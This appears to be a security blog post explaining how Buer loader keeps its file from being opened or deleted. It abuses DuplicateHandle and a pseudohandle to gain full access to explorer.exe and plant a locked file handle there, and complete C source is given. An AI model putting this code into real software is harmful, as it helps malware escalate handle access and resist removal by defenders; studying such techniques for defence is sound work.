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Windows persistance DuplicateHandle
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<i class="fa fa-calendar padding-small"></i><time datetime="2019-12-08T10:02:00+01:00"> Sun 08 December 2019</time>
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<p>Today we will look at the method to prevent file being opened or deleted on Windows.
The same approach was used in <strong>buer loader</strong>. For more information about loader I recommend writeup on <a href="https://krabsonsecurity.com/2019/12/05/buer-loader-new-russian-loader-on-the-market-with-interesting-persistence/">krabsonsecurity</a>.</p>
<p>The handle is 32 bit unsigned integer used to lookup kernel objects. They represent a unified interface to kernel objects processes, threads etc. Each process has own private handle table. Handles are relative to process and have to be passed using DuplicateHandle. The duplicate handle refers to the same object as the original handle. Therefore, any changes to the object are reflected through both handles. </p>
<p>Some functions don't return real handle but instead, they return pseudohandle. For example <code>GetCurrentProcess</code> returns special constant <code>-1</code>, a pseudohandle always pointing to the current process with <code>PROCESS_ALL_ACCESS</code> access right. Unlike real handles, pseudohandles don't have to be closed.</p>
<p>This can be abused to get handle to <code>explorer.exe</code> with <code>PROCESS_ALL_ACCESS</code> privileges using <code>DuplicateHandle</code> function. </p>
<div class="highlight"><pre><span></span><code><span class="n">BOOL</span><span class="w"> </span><span class="nf">DuplicateHandle</span><span class="p">(</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hSourceProcessHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hSourceHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hTargetProcessHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">LPHANDLE</span><span class="w"> </span><span class="n">lpTargetHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">dwDesiredAccess</span><span class="p">,</span>
<span class="w"> </span><span class="n">BOOL</span><span class="w"> </span><span class="n">bInheritHandle</span><span class="p">,</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">dwOptions</span>
<span class="p">);</span>
</code></pre></div>
<p>We can pass handle obtained with <code>GetCurrentProcess</code> as <code>hSourceHandle</code> which will make explorer think we are duplicating handle to it (since in the context of explorer.exe <code>-1</code> will refer to it). To verify if this trick is working we can use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer">ProcessExplorer</a>. In ProcessExplorer, clicking on process and we can see all handles it has and their access (access column has to be added by right-clicking on column headers and selecting <code>Select Columns...</code>). If we step through example program we can see access of <code>explorer.exe</code> handle changing from <code>PROCESS_DUP_HANDLE</code> (0x0040) to <code>PROCESS_ALL_ACCESS</code> (0x001FFFFF).</p>
<p>After we obtained this handle. We create a new handle to our own file with <code>dwSharing</code> set to 0 (preventing access to the file) and duplicate handle back to explorer using <code>PROCESS_ALL_ACCESS</code> handle we have.</p>
<p>Source code:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">"stdafx.h"</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><windows.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><tlhelp32.h></span><span class="c1"> /* never include win32 headers before windows.h*/</span>
<span class="n">DWORD</span><span class="w"> </span><span class="nf">GetProcessIDByName</span><span class="p">(</span><span class="n">LPCTSTR</span><span class="w"> </span><span class="n">ProcessName</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">PROCESSENTRY32</span><span class="w"> </span><span class="n">pt</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">processSnap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateToolhelp32Snapshot</span><span class="p">(</span><span class="n">TH32CS_SNAPPROCESS</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">processSnap</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">pt</span><span class="p">.</span><span class="n">dwSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">PROCESSENTRY32</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">Process32First</span><span class="p">(</span><span class="n">processSnap</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pt</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">do</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">lstrcmpi</span><span class="p">(</span><span class="n">pt</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span><span class="w"> </span><span class="n">ProcessName</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">processSnap</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">pt</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">processSnap</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pt</span><span class="p">));</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">processSnap</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">BOOL</span><span class="w"> </span><span class="nf">getAllAccessHandle</span><span class="p">(</span><span class="n">DWORD</span><span class="w"> </span><span class="n">processID</span><span class="p">,</span><span class="w"> </span><span class="n">HANDLE</span><span class="o">*</span><span class="w"> </span><span class="n">duplicatedProcess</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">BOOL</span><span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FALSE</span><span class="p">;</span>
<span class="w"> </span><span class="cm">/* System returns a pseudohandle with the maximum access that the DACL allows to the caller.*/</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">currentProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetCurrentProcess</span><span class="p">();</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">targetProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_DUP_HANDLE</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">processID</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">currentProcess</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">targetProcess</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">targetProcess</span><span class="p">,</span><span class="w"> </span><span class="n">currentProcess</span><span class="p">,</span><span class="w"> </span><span class="n">currentProcess</span><span class="p">,</span><span class="w"> </span><span class="n">duplicatedProcess</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_SAME_ACCESS</span><span class="p">);</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">targetProcess</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">BOOL</span><span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FALSE</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">ourExplorerHandle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">fileHandle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">currentProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">newHandle</span><span class="p">;</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">modulePathSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">moduleFilePath</span><span class="p">[</span><span class="n">MAX_PATH</span><span class="p">];</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">explorerPID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetProcessIDByName</span><span class="p">(</span><span class="sa">L</span><span class="s">"explorer.exe"</span><span class="p">);</span><span class="w"> </span><span class="cm">/* wchar_t literal*/</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">explorerPID</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to obtain explorer.exe PID.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Explorer PID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">explorerPID</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">getAllAccessHandle</span><span class="p">(</span><span class="n">explorerPID</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">ourExplorerHandle</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to duplicate explorer.exe PID.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">modulePathSize</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetModuleFileNameA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">moduleFilePath</span><span class="p">,</span><span class="w"> </span><span class="n">MAX_PATH</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">modulePathSize</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="n">modulePathSize</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">MAX_PATH</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to get module file name.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Module path: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">moduleFilePath</span><span class="p">);</span>
<span class="w"> </span><span class="cm">/* set dwSharing to 0, preventing any other process from accessing the file*/</span>
<span class="w"> </span><span class="n">fileHandle</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">CreateFileA</span><span class="p">(</span><span class="n">moduleFilePath</span><span class="p">,</span><span class="w"> </span><span class="n">GENERIC_READ</span><span class="p">,</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">,</span><span class="w"> </span><span class="n">OPEN_EXISTING</span><span class="p">,</span><span class="w"> </span><span class="n">FILE_ATTRIBUTE_NORMAL</span><span class="p">,</span><span class="w"> </span><span class="nb">NULL</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">fileHandle</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">INVALID_HANDLE_VALUE</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to get module handle.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">currentProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">GetCurrentProcess</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">currentProcess</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to get current process handle.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">res</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">,</span><span class="w"> </span><span class="n">fileHandle</span><span class="p">,</span><span class="w"> </span><span class="n">ourExplorerHandle</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">newHandle</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_SAME_ACCESS</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">res</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Failed to set access protection</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">goto</span><span class="w"> </span><span class="n">exit</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"Access protection all set!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="nl">exit</span><span class="p">:</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">currentProcess</span><span class="p">);</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">ourExplorerHandle</span><span class="p">);</span>
<span class="w"> </span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">fileHandle</span><span class="p">);</span>
<span class="w"> </span><span class="n">system</span><span class="p">(</span><span class="s">"pause"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>
<p>References:</p>
<p><a href="https://www.programmersought.com/article/7220840505/">The understanding of the handle, the difference between the pointer </a></p>
<p><a href="https://docs.microsoft.com/en-us/windows/win32/api/handleapi/nf-handleapi-duplicatehandle">DuplicateHandle API</a></p>
<p><a href="https://habr.com/ru/post/448472/">Как PROCESS_DUP_HANDLE превращается в PROCESS_ALL_ACCESS</a></p>
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